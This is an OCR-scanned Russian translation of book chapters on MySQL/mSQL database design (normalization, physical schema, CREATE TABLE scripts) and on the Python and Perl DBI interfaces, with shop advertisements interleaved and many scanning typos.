Еще о 2NF

Наша модель все еще не приобрела вторую нормальную форму. Значение атрибута Record Label (фирма звукозаписи) имеет только одно значение для каждого CD, но одно и то же значение его присутствует в нескольких СD. Ситуация сходна с той, которая была с атрибутом Band Name. И точно так же дублирование указывает на то, что Record Label должна быть частью отдельной сущности. Каждая Record Label выпускает один или много CD. Каждый CD выпускается одной и только одной Record Label. Модель этой связи представлена на рис. 2-10.

Третья нормальная форма (3NF)

Сущность находится в третьей нормальной форме, если она уже находится во второй нормальной форме и ни один неидентифицирующий атрибут не зависит от каких-либо других неидентифицирующих атрибутов. Атрибуты, зависящие от других неидентифицирующих атрибутов, нормализуются путем перемещения зависимого атрибута и атрибута, от которого он зависит, в новую сущность.

Если бы мы пожелали отслеживать адрес Record Label, то столкнулись бы с проблемами для третьей нормальной формы. В сущности Record Label должны быть атрибуты State Name (название штата) и State Abbreviation (сокращенное название штата). Хотя для учета CD эти данные и не нужны, мы добавим их к нашей модели для иллюстрации проблемы. На рис. 2-11 показаны адресные данные в сущности Record Label.

Рис. 2-11. Адресная информация о фирме звукозаписи в нашей базе данных

Значения State Name и State Abbreviation удовлетворяют первой нормальной форме, поскольку имеют только одно значение в каждой записи сущности Record Label. Проблема в том, что State Name и State Abbreviation взаимозависимы. Иными словами, поменяв State Abbreviation для какой-либо Record Label, мы вынуждены будем также изменить State Name. Мы произведем нормализацию, создав сущность State с атрибутами State Name и State Abbreviation. На рис. 2-12 показано, как связать эту новую сущность с сущностью Record Label.

Теперь, получив третью нормальную форму, мы можем сказать, что наша модель данных нормализована. Существуют и другие нормальные формы, имеющие значение с точки зрения проектирования баз данных, но их рассмотрение находится за пределами нашей книги. В большинстве случаев третьей нормальной формы достаточно, чтобы гарантировать правильность проекта базы данных.

Рис. 2-12. Модель данных в третьей нормальной форме

Методология логического моделирования данных

Теперь у нас есть завершенная логическая модель данных. Вспомним, какие шаги нужно осуществить, чтобы получить ее:

  1. Выявить и смоделировать сущности.
  2. Выявить и смоделировать связи между сущностями.
  3. Выявить и смоделировать атрибуты.
  4. Указать уникальный идентификатор для каждой сущности.
  5. Провести нормализацию.

На практике процесс редко происходит в такой последовательности. Как показывает наш пример, часто возникают желание и необходимость перескакивать между сущностями, связями, атрибутами и идентификаторами. Важно не столько строго следовать последовательности шагов, сколько выявить и зафиксировать все данные, необходимые для правильного моделирования системы.

Модель данных, которую мы создали в этой главе, очень проста. Мы рассказали, как создать модель, соответствующую по типу и сложности тем базам данных, с которыми вы, скорее всего, столкнетесь, разрабатывая базы данных для MySQL или mSQL. Мы не коснулись целой массы приемов проектирования и понятий, которые не имеют большого значения при проектировании маленьких баз данных и могут быть найдены в любом учебнике, посвященном проектированию баз данных.

Проектирование физической базы данных

С какой целью мы создавали логическую модель данных? Вам нужно создать базу данных, чтобы хранить информацию о CD. Модель данных - это только промежуточный шаг. В конечном итоге вы хотели бы получить базу данных MySQL или mSQL, в которой можно хранить данные. Как это сделать? При проектировании физической базы данных логическая модель переводится в набор операторов SQL, которые определяют вашу базу данных MySQL или mSQL.

Поскольку MySQL и mSQL являются реляционными базами данных, относительно несложно перевести логическую модель, подобную описанной, в физическую базу данных MySQL или mSQL. Вот правила перевода:

  1. Объекты становятся таблицами в физической базе данных.
  2. Атрибуты становятся колонками в физической базе данных. Для каждой колонки нужно выбрать подходящий тип данных.
  3. Уникальные идентификаторы становятся колонками, не допускающими значение NULL. В физической базе данных они называются первичными ключами (primary keys). Вы можете также пожелать создать уникальный индекс по идентификатору, чтобы обеспечивать уникальность. Учтите, что в mSQL нет понятия первичного ключа, есть просто уникальные индексы. К MySQL это не относится.
  4. Отношения моделируются в виде внешних ключей (foreign keys). Мы коснемся их позднее.

Применив эти правила к нашей модели (исключая адресную информацию по фирмам звукозаписи), получим физическую базу данных, представленную в таблице 2-2.

Таблица 2-2. Определения физических таблиц для базы, данных CD

Таблица | Колонка | Тип данных | Примечания
CD | CDId | INT | primary key
 | CDTitle | TEXT(50) |
Artist | Artistld | INT | primary key
 | ArtistName | TEXT(50) |
Song | Songld | INT | primary key
 | SongName | TEXT(50) |
RecordLabel | RecordLabelld | INT | primary key
 | RecordLabelName | TEXT(50) | primary key

Первое, на что вы можете обратить внимание: в нашей физической схеме из всех названий объектов удалены пробелы. Это вызвано тем, что названия нужно преобразовать в вызовы SQL, создающие таблицы, поэтому названия таблиц должны удовлетворять правилам SQL для образования имен. Кроме того, все первичные ключи мы сделали типа INT. Поскольку эти атрибуты искусственные, мы можем приписать им любой индексируемый тип. То, что они имеют тип INT, почти полностью результат нашего произвола. Почти, поскольку на практике поиск по числовым полям в большинстве баз данных осуществляется быстрее, и поэтому выгодно назначать первичными ключами числовые поля. Однако мы могли бы выбрать для ключевых полей тип CHAR, и все работало бы прекрасно. Выбор должен основываться на ваших критериях выбора идентификаторов.

Для остальных колонок установлен тип TEXT с длиной 50. Такое определение годится и для MySQL, и для mSQL. Для MySQL, впрочем, лучше было бы выбрать VARCHAR, но это несущественно для нашего примера. Выбор правильного типа данных для колонок очень важен, но мы не будем сейчас на этом останавливаться, поскольку не касались еще типов данных, поддерживаемых MySQL и mSQL.

Теперь у нас есть отправная точка для физической схемы. Мы еще не перевели отношения в физическую модель данных. Как указывалось ранее, после уточнения логической модели у вас должны остаться отношения типа «один-к-одному» и «один-ко-многим» - отношения «М-к-М» разрешаются через таблицы-связки. Отношения моделируются путем добавления внешних ключей к одной из участвующих в них таблиц. Внешний ключ - это уникальный идентификатор или первичный ключ таблицы на другом конце отношения.

Позднее мы коснемся типов данных, поддерживаемых MySQL и mSQL. В каждой из них свои правила относительно того, какие типы данных можно индексировать. Ни в одной из них, например, нельзя индексировать поля типа TEXT. Поэтому недопустимо иметь колонку первичного ключа типа TEXT.

Чаще всего отношение имеет тип «1-к-М». Ему соответствует первичный ключ со стороны «1», помещенный в таблицу на стороне «многие». В нашем примере это означает, что нужно сделать следующее:

  • Поместить колонку RecordLabelId в таблицу CD.
  • Поместить колонку CDId в таблицу Song.
  • Поместить колонку Artistic! в таблицу Song. Полученная схема показана в таблице 2-3.

Таблица 2-3. Физическая модель данных для базы данных CD

Таблица | Колонка | Тип данных | Примечания
CD | Cdld | INT | primary key
 | CDTitle | TEXT(50) |
 | RecordLabelld | INT | foreign key
Artist | Artistld | INT | primary key
 | ArtistName | TEXT(50) |
Song | Songld | INT | primary key
 | SongName | TEXT(50) |
 | Cdld | INT | foreign key
 | Artistld | INT | foreign key
RecordLabel | RecordLabelld | INT | primary key
 | RecordLabelName | TEXT(50) |

В нашей модели нет связей типа «один-к-одному». Если бы они были, то нужно было бы взять одну из таблиц и ввести в нее колонку внешнего ключа, соответствующую первичному ключу другой таблицы. Теоретически не важно, которую из таблиц вы выберете, но практические соображения могут определять, какую из колонок лучше сделать внешним ключом.

Теперь у нас есть полная физическая схема базы данных. Осталось перевести эту схему на SQL. Для каждой таблицы в схеме вы пишете одну команду CREATE TABLE. Обычно для поддержки уникальности создается уникальный индекс по первичным ключам.

В некотором смысле мы сейчас забегаем вперед. Вы, возможно, не знакомы с SQL, а в задачи данной главы не входит знакомство с версиями SQL, поддерживаемыми MySQL и mSQL. Все же, вот два простых сценария для создания базы данных CD. Первый сценарий, пример 2-1, составлен для MySQL, пример 2-2 — для mSQL.

Пример 2-1. Сценарий создания базы данных CD в MySQL

CREATE TABLE CD (CDID INT NOT NULL,

RECORD_LABEL_I INT, CD_TITLE TEXT, PRIMARY KEY (CD_ID))

CREATE TABLE Artist (ARTIST_ID INT NOT NULL, ARTIST_NAMETEXT,

PRIMARY KEY (ARTIST_ID)) CREATE TABLE Song (SONG_ID INT NOT NULL, CD_ID INT, SONG_NAME TEXT, PRIMARY KEY (SONG_ID))

CREATE TABLE RecorLabel(RECORD LABEL_ID INT NOT NULL, RECORD_LABEL_NAME TEXT, PRIMARY KEY(RECORD_LABEL_ID))

Пример 2-2. Сценарий создания базы данных CD в mSQL

CREATE TABLE CD (CD_ID INT NOT NULL,

RECORD_LABEL_IDINT, CD_TITLE TEXT(50))

CREATE UNIQUE INDEX CD_IDX ON 0(DCD.ID)

CREATE TABLE ArtistARTIST_ID INT NO NULL,

ARTIST_NAMETEXT(50))

CREATE UNIQUE INDEX Artist_IDX ON Artist (ARTIST_ID)

CREATE TABLE Song (SONG_ID INT NOT NULL, CD_ID INT,

SONG_NAME TEXT(50))

CREATE UNIQUE INDEX Song_IDX ON Song (SONG_ID)

CREATE TABLE RecordLabel (RECORD_LABEL_IDINT NOT NULL,

RECORD_LABEL_NAMEEXT(50))

CREATE UNIQUE INDEX RecordLabel_IDX

ON RecordLabel(RECORD_LABEL_ID)

Модели данных разрабатываются так, чтобы не зависеть от базы данных. Поэтому вы можете взять технику и модель данных, созданную в этой главе, и применить ее не только к MySQL и mSQL, но и к Oracle, Sybase, Ingres и любой другой РСУБД. В следующих главах мы подробно обсудим, как соединить ваши новые знания о проектировании баз данных с MySQL и mSQL.

Поиск книг в интернет магазине Болеро

Поиск DVD в интернет магазине DVD DOM
Внимание! Money-Hunting.Ru - Интересная Online Игра с Денежными Призами.


  • Глава №20. Справочник по Python
    • Модуль: MySQL
    • Модуль: mSQL

Глава №20.

Справочник по Python

В действительности есть несколько модулей Python, предоставляющих доступ к базам данных MySQL и mSQL. В большинстве аспектов они очень схожи между собой. В этой главе приводятся спецификации API для двух наиболее часто используемых модулей. Однако важно указать на приближающуюся унификацию разных API для баз данных в едином API, специфицированном Python Database SIG. В настоящее время mSQL не поддерживает этот API.

Модуль: MySQL

Точкой входа в модуль Python для MySQL является метод MySQL.connect(). Значение, возвращаемое этим методом, представляет подключение к серверу MySQL, которое вы можете использовать для всех операций с MySQL.

Метод: MySQL.connect()

Запись

connection = MySQL.connect(host)

Краткий обзор

Подключается к базе данных MySQL на указанном сервере. Если вызвать connect() без аргументов, будет выполнено подключение к базе данных MySQL на локальном компьютере. Метод возвращает объект Python, представляющий подключение к базе данных MySQL.

Пример

conn = MySQL.connect('carthage.irnaginary.com');

Метод: connection.selectdb()

Запись

connection, selectdb(database)

Краткий обзор

Выбирает базу данных, с которой вы собираетесь работать.

Пример

connection. selectdb('test');

Метод:

connection.do()

Запись

results = connection.do(sql)

Краткий обзор

Посылает на выполнение указанную команду SQL в текущую выбранную базу данных. Результаты возвращаются как список списков, где каждый список представляет одну запись. Метод также используется для изменения данных, в этом случае вы просто не обрабатываете возвращаемое значение.

Пример

results = conn.do('SELECT title, year FROM movies');

row1 = results[0];

Метод: connection.query()

Запись

statement_handle = connection. query(sgl)

Краткий обзор

Как и метод do(), этот метод посылает указанную SQL-команду текущей выбранной базе данных. Отличие этого метода от do() заключается в том, что он возвращает объект - описатель команды, который инкапсулирует информацию о результате запроса SQL, также как и сами результаты.

Пример

hndl = conn. query(' SELECT title, year FROM movies');

Метод: statement_handle.affectedrows()

Запись

rowcount = statement_handle.affectedrows()

Краткий обзор

Считая, что этот описатель команды представляет результаты выполнения команд SQL UPDATE, DELETE или INSERT, данный метод возвращает число записей, реально измененных этим запросом.

Пример

rowcount = hnd1.affectedrows()

Метод: statement_handle.numrows()

Запись

rowcount = statement_handle.numrows()

Краткий обзор

Считая, что этот описатель команды представляет результаты выполнения команды SELECT, данный метод выдает число записей в результирующем наборе.

Пример

rowcount = hndl. numrows()

Метод: statement_handle.fields()

Запись

list = statement_handle.fields()

Краткий обзор

Предоставляет метаинформацию о столбцах в результате, возвращаемом запросом. Полученный список является списком списков. Каждый элемент возвращаемого списка - это список с метаинформацией об отдельном столбце. Другими словами, в возвращаемом списке будет один элемент для каждого столбца в результирующем наборе. Первый элемент списка представляет первый столбец, второй элемент - второй столбец и т. д.

Метаданные для каждого столбца являются списком из пяти элементов:

  • Строка, содержащая имя столбца.
  • Строка, содержащая имя таблицы, откуда взят столбец.
  • Строка с названием типа данных SQL для этого столбца.
  • Целое int, содержащее размер столбца.
  • Строка, содержащая модификаторы столбца, такие как NOTNULL.

Пример

flds = hndl.fields();

for column in fids: name = column[0];

table = column[1]; type = column[2];

size = columns[3]; mods = column[4];

Метод: statement_handle.fetchrows()

Запись

list = statement_handle.fetchrows(rownum)

Краткий обзор

Выбирает значение записи с указанным номером из результирующего набора, представленного описателем команды. Если в качестве аргумента передать —1, этот метод вернет список со всеми записями. Каждая запись в этом списке представлена списком с количеством элементов, равным числу столбцов в результирующем наборе. Первый элемент списка представляет значение первого столбца, второй элемент представляет второй столбец и т. д.

Пример

rows = hndl.fetchrows(-l);

for row in rows:

coll = row[0]; со12 = row[1];

Метод: connection.listdbs()

Запись

dbs = connection.listdbs()

Краткий обзор

Предоставляет список доступных баз данных на сервере.

Пример

dbs = conn.listdbs()

Метод: connection.listtables()

Запись

tables = connection. listtables();

Краткий обзор

Предоставляет список таблиц, хранящихся в базе данных.

Пример

tables = conn. listtables();

Модуль: mSQL

Модуль mSQL очень похож на модуль MySQL. Точкой входа в модуль является метод mSQL.connect(). Возвращаемое им значение представляет подключение к базе данных mSQL, которое вы можете использовать для всех операций с mSQL.

Метод: mSQL.connect()

Запись

connection - mSQL.connect()

connection - mSQL.connect(host)

Краткий обзор

Подключается к базе данных mSQL на указанном сервере. Если вы не укажете аргументов, будет выполнено подключение к базе данных на локальном компьютере. Метод возвращает описатель подключения к mSQL, который вы можете использовать для доступа к базе данных.

Пример

connection = mSQL.connect('carthage.imaginary, com')

Метод: cormection.selectdb()

Запись

connection, selectdb(database)

Краткий обзор

Выбирает имя базы данных для вашего подключения. Все дальнейшие операции с подключением будут относиться к выбранной базе данных до тех пор, пока вы не укажете новую базу данных.

Пример

connection.selectdb('test');

Метод: connection.query()

Запись

results = connection. query(sq1)

Краткий обзор

Посылает на выполнение в текущую выбранную базу данных указанную команду SQL. Результат возвращается как список кортежей, где каждый кортеж представляет одну запись. Этот метод также используется для изменения данных, в этом случае вы просто не обрабатываете возвращаемое значение.

Пример

results = conn.query('SELECT title, year FROM movies');

rowl = results[0];

Метод: connection.listdbs()

Запись

dbs - connection. listdbs()

Краткий обзор

Предоставляет список доступных баз данных на сервере.

Пример

dbs = conn.listdbs()

Метод: connection.listtables()

Запись

connection.listtables()

Краткий обзор

Предоставляет список таблиц, хранящихся в базе данных.

Пример

tables = conn.listtables()

Атрибут: connection.serverinfo

Краткий обзор

Возвращает версию сервера mSQL, с которым установлено соединение.

Пример

info = connection.serverinfo;

Атрибут: connection.hostname

Краткий обзор

Возвращает имя сервера, на котором запущен сервер mSQL.

Пример

host = connection.hostname

Болеро
Видео, Музыка, Программы, Игрушки, Книги, Подарки. Доставка курьером, почтой.

Digita.ru
Интернет-Магазин:
Современная Аудио- и Видеотехника.

Gimi.Ru:
бытовая техника, посуда, увлажнители и ионизаторы воздуха, эпиляторы, электро- и гидромассажеры

Porta.Ru
Цифровое Аудио, Фото и Видео, Компьютеры и Связь, Часы, Переводчики и др.


  • Глава №21. Справочник по Perl
    • Установка
    • DBI.pmAPI
    • Msql.pm API.
    • Mysql.pm API

Глава №21

Справочник по Perl

Установка

Для использования интерфейсов mSQL и MySQL к модулям DataBase Dependent/DataBase Independent (DBI/DBD) или MsqlPerl и MysqlPerl необходимо иметь следующие компоненты:

Perl 5

В вашей системе должны быть установлены работающие экземпляры Perl 5. Ко времени написания этой книги последний релиз Perl имел номер 5.005_02. Следует пользоваться по меньшей мере Perl 5.004, поскольку в более ранних версиях были ошибки, связанные с защитой. Более подробные сведения о Perl, включая адреса для загрузки, можно найти по адресу: http://www.perl.com .

DBI

Независимую от базы данных часть модуля DBI/DBD можно загрузить из Comprehensive Perl Archive Network (CPAN). На момент написания книги последней версией был DBI-0.90. Он находится на http://www.perl.com/CPAN/authors/id/TIMB/DBI/DBI-l.06.tar.gz .

Data::ShowTable

Модуль Data::ShowTable упрощает отображение больших объемов данных. Это требуется для модулей Msql-Mysql. Последняя версия - Data-ShowTable-З.З, ее можно найти по адресу: http://www.perl.com/CPAN/authors/id/AKSTE/Data-ShowTable-3.3.tar.gz.

mSQL и /или MySQL

В главе 3 «Установка» подробно рассказано о том, как получить и установить серверы баз данных mSQL и MySQL.

Компилятор С и сопутствующие средства

Для модулей MsqlPerl и MysqlPerl необходим ANSI-совместимый компилятор С, а также обычные сопутствующие средства, такие как make, Id и т. д. Вам должно хватить тех средств, с помощью которых вы собрали Perl. Если у вас нет этих инструментов, компилятор GNU С и все необходимые поддерживающие программы можно бесплатно получить на ftp://ftp.gnu.org/pub/gnu/ .

В настоящее время модули Msql-Mysql поддерживает Йохен Видман (Jochen Wiedmann), чье ID в CPAN выглядит как JWIED. Поэтому текущие модули Msql-Mysql всегда можно найти на http://www.perl.com/ authors/id/ JWIED. На момент написания книги текущей версией была Msql-Mysql-modules-1.2017.tar.gz.

После загрузки пакета разархивируйте его:

tar xvzf Msql-Mysql-modules-1.2017.tar.gz

cd Msql-Mysql-modules-1.2017

В каталоге дистрибутива есть файл INSTALL, содержащий несколько советов по установке. Сначала нужно выполнить файл Makefile.PL:

perl Makefile.PL

Эта команда сначала спрашивает, желаете ли вы установить модули для mSQL, MySQL или те и другие. Можно установить модули для любого установленного вами сервера баз данных.

После проверки системы программа запрашивает местоположение установки mSQL. Это каталог, содержащий подкаталоги lib и include, в которых расположены библиотеки и включаемые файлы mSQL. По умолчанию этим каталогом является /usr/local /Hughes, но обязательно проверьте это, поскольку во многих системах используется /usr/local или даже /usr/local/Minerva.

Затем сценарий установки запрашивает путь к MySQL. Как и в случае mSQL, это каталог, содержащий надлежащие подкаталоги lib и include, по умолчанию - /usr/local. Это расположение верно для большинства установок, но следует обязательно проверить, не используются ли другие каталоги.

После установки сценарий создает соответствующие make-файлы и завершается. Затем нужно запустить make и скомпилировать файлы.

make

Если вы правильно установили Perl, mSQL и/или MySQL, то команда make должна пройти без ошибок. После завершения ее работы будут созданы все модули, и единственное, что останется - это протестировать и установить их.

make test

Во время выполнения по экрану пробегает ряд отладочных имен, за каждым из которых должно следовать . . . ok. И наконец, нужно установить модули.

make install

У вас должно быть разрешение записи в каталог установки Perl. Кроме того, необходимо иметь разрешение на запись в системный каталог для программ (обычно /usr/local/bin или /usr/bin), чтобы установить поставляемые с модулем вспомогательные программы pmsql, pmysql и dbimon.

DBI.pmAPI

DBI API является стандартным API баз данных в Perl. Поэтому, хотя MsqPerl и MysqlPerl могут быть более распространены в унаследованных программах, новые программы следует писать с использованием DBI.

use

use DBI;

Следует объявлять во всех программах Perl, использующих модуль DBI.

DBI::available_drivers

@available_drivers = DBI->available_drivers;

@available_drivers = DBI->available_drivers($quiet);

DBI: :available_drivers возвращает список имеющихся драйверов DBD. Функция выполняет это, осуществляя поиск модулей DBD в дистрибуции Perl. Если в аргументе не передано значение true, то при обнаружении двух одноименных модулей DBD выводится предупреждение. В текущем дистрибутиве Msql-Mysql драйвер для mSQL называется 'mSQL', а драйвер для MySQL - 'mysqP.

Пример

use DBI;

my @drivers = DBI->available_drivers;

print "Доступны следующие драйверы:\n" . join("\n",@drivers) . "\n Ho нас интересуют только mSQL и mysql. :)\n";

DBI::bind_col

$result = $statement_handle->bind_col($col_num, \$col_variable, \%unused);

DBI: :bind_col связывает колонку команды SELECT с переменной Perl. При всяком чтении или изменении колонки изменяется значение соответствующей переменной. Первым аргументом является номер колонки в команде, при этом колонки нумеруются с 1. Второй аргумент — ссылка на переменную Perl, которая должна быть привязана к колонке. Необязательный третий аргумент ссылается на хэш атрибутов. В DBD: :mysql и DBD: :mSQL он не используется. При невозможности в силу каких-то причин сделать привязку функция возвращает неопределенное значение undef.

Пример

use OBI;

my $db = DBI->connect('DBI:mSQL:mydata', undef,undef);

my $query = "SELECT name, date FROM myothertable";

my $myothertable_output = $db->prepare($query);

my ($name, $date);

$myothertable_output->bind_col(1,\$name,undef);

$myothertable_output»bind_col(2, \$date, undef);

# Теперь $name и Sdate привязаны к соответствующим полям выходных данных.

$myothertable_output->execute;

while ($myothertable_output->fetch) {

# Каждый раз $name и $date автоматически изменяются.

print "Имя: $name Дата: $date\n"; }

DBI::bmd_columns

$result = $statement_handle->bincl_columns(\%unused, @list_of_refs_to_vars);

DBI: : bind_columns привязывает весь список скалярных ссылок к значениям соответствующих полей в выдаче. Первый аргумент функции -ссылка на хэш атрибутов, как в DBI: :bind_col . DBD::mSQL и DBD::mysql не используют этот аргумент. Последующие аргументы должны быть ссылками на скаляры. Скаляры можно с таким же успехом группировать в структуру \($var1, $var2) . Ссылок на скаляры должно быть ровно столько, сколько полей в выходных результатах, иначе выполнение программы будет прекращено.

Пример

use DBI;

my $db = DBI->connect('DBI:mSQL:mydata',undef,undef);

my $query = "SELECT name, date FROM myothertable";

my $myothertable_oulput = $db->prepare($query);

my ($name, $date);

$mynfhertable_outpul->bind_columns(undef, \($name, $daLe));

# $name и $date теперь привязаны к соответствующим полям в выдаче,

$myothertable_output->execute;

while ($myothertable_output->fetch)

{

# $name и $date каждый раз автоматически изменяются.

print "Имя: $name Дата: $date\n";

}

DBI::bind_param

$result = $statement_handle->bind_param($param_number, $bind_value);

$result = $statement_handle->bind_param($param_number, $bind_value, $bind_type);

$result = $statenent_handle->bind_param($param_number, $bind_value, \%bind_type);

DBI: : bind_param подставляет в команды действительные значения вместо меток-заполнителей '?' (см. OBI:: prepare). Первый аргумент - номер метки-заполнителя в команде, нумерация начинается с 1 (слева направо). Второй аргумент - подставляемое значение. Необязательный третий аргумент задает тип подставляемого значения. Это может быть скаляр или ссылка на хэш вида { TYPE => &DBI:: SQL_TYPE } , где 'SQL_TYPE' - тип параметра. На момент написания этой книги DBI поддерживал SQL-типы (недокументированные) SQL_CHAR, SQL_NUMERIC, SQL_DECIMAL, SQL_INTEGER, SQL_SMALLINT, SQL_FLOAT, SQL_REAL, SQL_DOUBLE и SQL_VARCHAR. Соответствие их фактическим типам, используемым DBD::mSQL и DBD::Mysql, не документировано. Тем не менее в таблице 21-1 приведен список соответствия на данный момент. Если подстановка невозможна, функция возвращает undef.

Таблица 21-1. Соответствие типов SQL

DBI | MSQL | MySQL
SQL_CHAR | CHAR TYPE | FIELD TYPE CHAR
 | IDENT TYPE | FIELD TYPE DATE
 | NULL TYPE | FIELD TYPE DATETIME
 | DATE TYPE | FIELD TYPE NULL
 | MONEY TYPE | FIELD TYPE TIMESTAMP
 | TIME TYPE | FIELD TYPE TIME
 | IDX TYPE |
 | SYSVAR TYPE |
 | ANY TYPE |
SQL_NUMERIC |  | FIELD TYPE LONG FIELD TYPE LONGLONG FIELD_TYPE_SHORT
SQL_DECIMAL |  | FIELD_TYPE_DECIMAL
SQLJNTEGER | INT_TYPE | FIELD_TYPE_INT24
SQL SMAL-LINT | UINT_TYPE | FIELD_TYPE_INT24
SQL_FLOAT |  | FIELD_TYPE_FLOAT
SQL_REAL | REAL TYPE LAST_REAL_TYPE | FIELD JTYPE_DOUBLE
SQLJDOUBLE |  | FIELD_TYPE_DOUBLE
SQL_VARCHAR | TEXT_TYPE | FIELD_TYPE_TINY BLOB FIELD_TYPE_MEDIUM BLOB FIELD TYPE BLOB FIELD TYPE LONG BLOB FIELD TYPE VAR STRING FIELD TYPE STRING

Пример

use DBI;

my $db = DBI->connect('DBD:msql:mydata','me','mypass');

my Sstatement = $db->prepare(

"SELECT name, date FROM myothertable WHERE name like ? OR name like ?");

$statement->bind_param(1,'J%','SQL_CHAR');

$statement->bind_param(2,'%oe%', { TYPE => &DBI::SQL_CHAR });

# Теперь команда будет такой:

# SELECT name, date FROM myothertable WHERE name like 'J%' or name like

'%oe%'

DBI::connect

$db = DBI->connect($data_source, $username, $password);

$db = DBI->connect($data_source, $username, $password, \%attributes);

DBI:: connect требует по крайней мере три аргумента и необязательный четвертый. Через возвращаемый описатель выполняются все операции с сервером базы данных. Первый аргумент является источником данных. Список имеющихся источников можно получить с помощью DBI: :data_sources . Для mSQL и MySQL формат источника данных 'DBI:mSQL:$database:Shostname:Sport' и 'DBI:mysql:Sdatabase:Shostname:Sport' соответственно. Можно опустить :Sport при соединении через стандартный порт. Аналогично можно опустить ': Shostname: Sport' при соединении с сервером на локальном узле с помощью сонета Unix. Имя базы данных указывать обязательно.

Второй и третий аргументы — имя пользователя и пароль для подключения к базе данных. Для mSQL оба аргумента должны иметь значение 'undef'. Если они заданы как 'jndef при работе с MySQL, то у пользователя, запустившего программу, должны быть права доступа к требуемым базам данных.

Последний аргумент необязателен и является ссылкой на ассоциативный массив. Данный хэш позволяет определить некоторые атрибуты соединения. В настоящее время поддерживаются только атрибуты PrintError, RaiseError и AutoCommit. Для сброса им нужно придать значение 0, для установки - какое-либо истинное значение. По умол-чаник) PrintError и AutoCommit включены, a RaiseError - сброшен. Поскольку в данное время ни mSQL, ни MySQL не поддерживают транзакции, атрибут AutoCommit должен быть установлен (более подробно см. Атрибуты).

При неудаче соединения возвращается неопределенное значение undef, и в $DBI;:errstr помещается ошибка.

Пример

use DBI;

my $db1 = DBI->connect('DBI: mSQL:mydata',undef,undef);

# Теперь $db1 представляет соединение с базой данных 'mydata'на локальном

# сервере mSQL.

my $db2 = DBI->connect( 'DBI:mysql:mydata:myser-ver.com','me','mypassword');

# Теперь $db2 представляет соединение с базой данных 'mydata' сервера MySQL

# 'myserver.com' через порт по умолчанию.

# При соединении использовались имя пользователя 'те' и пароль 'mypassword'.

my $db3 = DBI->connect('DBI:mSQL:mydata',undef,undef, {

RaiseError => 1 });

# Теперь $db3 - такое же соединение, как $db1, за исключением того, что

# установлен атрибут 'RaiseError'.

DBI::data_sources

@data_sources = DBI->data_sources($dbd_driver);

DBI: :data_sources принимает в качестве аргумента имя модуля DBD и возвращает все имеющиеся для этого драйверы базы данных в форма- " те, пригодном к использованию в качестве источника данных функцией DBI::connect . Программа заканчивает свое выполнение с ошибкой, если задано неверное имя драйвера DBD. В текущих версиях модулей Msql-Mysql драйвер для mSQL называется 'mSQL', а для MySQL -'mysql'.

Пример

use DBI;

my §msql_data_sources = DBI->data_sources('mSQL');

my @mysql_data_sources = DBI->data_sources('mysql');

# Должны быть установлены DBD::mSQL и DBO::mysql, иначе

# выполнение программы прекратится.

print "mSQL databases:\n" . join("\n",@msql_data_sources) , "\n\n";

print "MySQL databases:\n" . join("\n",@mysql_data_sources) . "\n\n";

DBI::do

$rows_affected = $db->do($statement);

$rows_affected = $db->do($statement, \%unused);

$rows_affected = $db->do($statement, \%unused, @bind_values);

DBI: : do непосредственно выполняет SQL-команду, не являющуюся командой SELECT, и возвращает число измененных строк. Этот способ быстрее, чем пара DBI: :prepare/DBI: :execute , требующая два вызова функции. Первый аргумент - сама команда SQL. Второй аргумент не используется в DBD::mSQL и DBD::mysql, но для других модулей DBD может содержать ссылку на хэш атрибутов. Последний аргумент -массив значений для подстановки в команду вместо меток-заместителей '?'. Подстановка происходит слева направо. Дополнительно DBI: : do автоматически заключит подставляемые строковые значения в кавычки.

Пример

use DBI;

my $db = DBI->connect('DBI:mSQL:mydata',undef,undef);

my $rows_affected = $db->do("UPDATE mytable SET name='Joe' WHERE name='Bob"');

print "$rows_affected Joe заменены на Bob's\n";

my $rows_affected2 = $db->do("INSERT INTO mytable (name) VALUES (?)", {}, ("Sheldon's Cycle"));

# После заключения в кавычки и подстановки

# серверу базы данных посылается команда

#INSERT INTO mytable (name) VALUES ('Sheldon's Cycle')

DBI-disconnect

$result = $db->disconnect;

DBI: : disconnect отсоединяет описатель базы данных от сервера баз данных. Для mSQL и MySQL в этом обычно нет необходимости, поскольку эти базы данных не поддерживают транзакций, и неожиданное отсоединение не причинит вреда. Однако от баз данных, поддерживающих транзакции, нужно отсоединяться явным образом. Поэтому, чтобы получить переносимую программу, нужно всегда отсоединяться от базы данных перед выходом. При ошибке во время отсоединения возвращается ненулевое значение, и в $DBI: :errstr устанавливается ошибка.

Пример

use DBI;

my $db1 = DBI->connect( 'DBI:mSQL:mydata',undef,undef);

my $db2 = OBI->connect('DBI:mSQL:mydata2',undef,undef);

$db1->disconnect;

# Соединение 'mydata' разорвано. Соединение с 'mydata2'

# продолжает действовать.

DBI::dump_results

$neat_rows = DBI::dump_results($statement_handle);

$neat_rows = DBI::dump_results($statement_handle, Smaxlen);

$neat_rows = DBI::dump_results($statement_handle, $maxlen, $line_sep);

$neat_rows = DBI::dump_results($statement_handle, $maxlen, $line_sep,$field_sep);

$neat_rows = DBI::dump_results($statement_handle, $maxlen, $line_sep,$field_sep, $file_handle);

DBI: :dump_results выводит содержание описателя команды в удобном и упорядоченном виде, применяя к каждой строке DBI: :neat_string . Функцию удобно использовать для быстрой проверки результатов запроса во время разработки программы. Единственный обязательный аргумент - описатель команды. Второй аргумент, если имеется, задает максимальный размер полей в таблице, по умолчанию равный 35. Третий аргумент задает строку, используемую для разграничения строк данных, по умолчанию- \n. Четвертый аргумент задает строку, используемую для разделения значений полей в строке, по умолчанию используется запятая. Последний аргумент задает ссылку на глобальный описатель файла, в который выводятся результаты. По умолчанию это STDOUT. Если невозможно прочесть описатель команды, возвращается значение undef.

Пример

use DBI;

my $db = DBI->connect('DBI:mSQL:mydata',undef,undef);

my Squery = "SELECT name, date FROM myothertable";

my $myothertable_output = $db->prepare($query);

$myothertable_output->execute;

print DBI::dump_results($myothertable_output);

# Вывести результаты в аккуратной таблице.

open(MYOTHERTABLE, ">>myothertable");

print DBI: :dump_results($iriyothertable_output,

undef,undef,undef,\*MYOTHERTABLE);

# Снова вывести результаты в файл 'myothertable,'.

$DBI::err

$error_code = $handle->err;

$DBI::err возвращает код последней по времени ошибки DBI. Код ошибки соответствует сообщению об ошибке, возвращаемому функцией $DBI: :errstr. Переменная $DBI: :err выполняет ту же задачу. Эта функция применима с описателями как баз данных, так и команд.

Пример

use DBI;

my $db = DBI->connect('DBI:mysql:mydata',

'webuser','super_secret_squirrel');

# Этот запрос имеет синтаксическую ошибку...

my Soutput = $db->prepare('SLECT * from mydata');

$output->execute;

